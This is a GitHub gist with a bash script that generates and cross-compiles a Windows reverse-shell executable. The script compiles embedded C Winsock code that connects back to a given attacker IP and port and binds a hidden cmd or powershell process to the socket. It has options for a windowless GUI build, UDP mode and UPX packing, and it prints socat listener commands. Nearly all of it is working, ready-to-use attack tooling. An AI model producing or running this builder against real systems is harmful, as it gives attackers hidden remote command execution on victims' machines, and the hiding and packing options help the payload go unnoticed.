Skip to content

Instantly share code, notes, and snippets.

@kazkansouh
Last active December 26, 2020 08:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kazkansouh/3a9b3090dfae3e89e37202615b549b57 to your computer and use it in GitHub Desktop.
Save kazkansouh/3a9b3090dfae3e89e37202615b549b57 to your computer and use it in GitHub Desktop.
Bash script for building a windows reverse shell.
#!/bin/bash
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <https://www.gnu.org/licenses/>.
# Copyright Karim Kanso, 2020. All rights reserved. Licenced under GPLv3
function showhelp {
echo "usage: $(basename $0) {32|64} lhost lport [--enable-printouts] [--pack] [--wait] [--udp] [--powershell] [--console]"
exit 1
}
if [[ "$#" -lt 3 || \
( "$1" != "32" && "$1" != "64" ) || \
! "$2" =~ ^[0-9]{1,3}(\.[0-9]{1,3}){3}$ || \
! "$3" =~ ^[0-9]+$
]] ; then
showhelp
fi
ARCH=$1
shift
LHOST=$1
shift
LPORT=$1
shift
GUI=true
: ${COMMAND:="cmd"}
while (( "$#" )); do
case "$1" in
--enable-printouts)
ENABLEPRINTOUT=true
;;
--pack)
PACK=true
;;
--wait)
WAITFOREXIT=true
;;
--udp)
UDP=true
;;
--powershell)
COMMAND=powershell
;;
--console)
unset GUI
;;
*)
showhelp
;;
esac
shift
done
echo "[*] building rshell for ${LHOST}:${LPORT}"
GCC=x86_64-w64-mingw32-gcc
if test ${ARCH} = "32"; then
GCC=i686-w64-mingw32-gcc
echo "[!] 32 bit selected"
fi
ADDITIONAL=
if test "${ENABLEPRINTOUT}" = "true"; then
ADDITIONAL=-DENABLE_OUTPUT
echo "[*] debug printouts enabled in shell"
if "${GUI}" = "true"; then
echo "[!] disabling gui build"
unset GUI
fi
fi
if test "${WAITFOREXIT}" = "true"; then
ADDITIONAL="${ADDITIONAL} -DWAIT"
echo "[!] will wait for shell to exit"
if "${GUI}" = "true"; then
echo "[!] disabling gui build"
unset GUI
fi
fi
if test "${UDP}" = "true"; then
ADDITIONAL="${ADDITIONAL} -DUDP"
if test "$UDP" = "true" -a "$COMMAND" != "powershell"; then
echo -e "[!] running with \e[1mudp recommends powershell\e[0m"
else
echo "[!] enabling udp"
echo "[*] handler: socat -dd READLINE UDP4-LISTEN:${LPORT},ignoreeof"
fi
else
echo "[*] handler: socat -dd READLINE TCP4-LISTEN:${LPORT},reuseaddr"
fi
if "${GUI}" = "true"; then
ADDITIONAL="${ADDITIONAL} -mwindows"
fi
OUTPUT=rshell-${LHOST}-${LPORT}-x${ARCH}${UDP+-udp}.exe
${GCC} -Wl,-s -Wall -Wpedantic -x c - -lws2_32 \
-o ${OUTPUT} \
-DLHOST=${LHOST} \
-DLPORT=${LPORT} \
-DSHELL="${COMMAND}" \
${ADDITIONAL} <<EOF
#include <winsock2.h>
#include <windows.h>
// based on https://h0mbre.github.io/Win32_Reverse_Shellcode/
//
// compile with (add -DENABLE_OUTPUT to get print outs):
// x86_64-w64-mingw32-gcc -Wl,-s -Wall -Wpedantic shell.c -lws2_32 -o rshell.exe -DLHOST=192.168.119.164 -DLPORT=2999 -DSHELL=cmd
// i686-w64-mingw32-gcc -Wl,-s -Wall -Wpedantic shell.c -lws2_32 -o rshell.exe -DLHOST=192.168.119.164 -DLPORT=2999 -DSHELL=cmd
#define xstr(s) str(s)
#define str(s) #s
const char* c_pc_host = xstr(LHOST);
const int c_i_port = LPORT;
#if defined(ENABLE_OUTPUT)
#include <stdio.h>
#define PUTS(s) puts(s)
#define PRINTF(...) printf(__VA_ARGS__)
#else
#define PUTS(s)
#define PRINTF(...)
#endif
int main () {
WSADATA s_wsa;
PRINTF("[*] rshell to %s:%d\n", c_pc_host, c_i_port);
// Call WSAStartup()
if (WSAStartup(MAKEWORD(2,2), &s_wsa) != 0) {
PUTS("[-] WSAStartup failed.");
return 1;
}
// Call WSASocket()
#if defined(UDP)
PUTS("[*] UDP Mode");
SOCKET s = WSASocketA(AF_INET, SOCK_DGRAM, IPPROTO_UDP, NULL, 0, 0);
#else
PUTS("[*] TCP Mode");
SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
#endif
if (s == INVALID_SOCKET) {
PUTS("[-] Invalid socket");
return 1;
}
// Create sockaddr_in struct
struct sockaddr_in s_sa;
s_sa.sin_family = AF_INET;
s_sa.sin_addr.s_addr = inet_addr(c_pc_host);
s_sa.sin_port = htons(c_i_port);
// Call connect()
if (WSAConnect(
s,
(struct sockaddr*) &s_sa,
sizeof(s_sa),
NULL,
NULL,
NULL,
NULL) != 0) {
PUTS("[-] connect failed.");
PRINTF("%lu\n", GetLastError());
return 1;
}
// Call CreateProcessA()
PUTS("[*] launching: " xstr(SHELL));
STARTUPINFO s_si;
memset(&s_si, 0, sizeof(s_si));
s_si.cb = sizeof(s_si);
s_si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
s_si.hStdInput = (HANDLE)s;
s_si.hStdOutput = (HANDLE)s;
s_si.hStdError = (HANDLE)s;
s_si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION s_pi;
if (CreateProcessA(
NULL,
xstr(SHELL),
NULL,
NULL,
TRUE,
0,
NULL,
NULL,
&s_si,
&s_pi) == 0) {
PRINTF("[-] CreateProcessA %lu\n", GetLastError());
}
#if defined(WAIT)
else {
PUTS("[*] Waiting");
WaitForSingleObject(s_pi.hProcess, INFINITE);
}
#endif
PUTS("[*] done");
}
EOF
if test "$?" -eq 0 ; then
echo "[*] shell saved to ${OUTPUT}"
fi
if test "${PACK}" = "true"; then
upx -9 "${OUTPUT}"
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment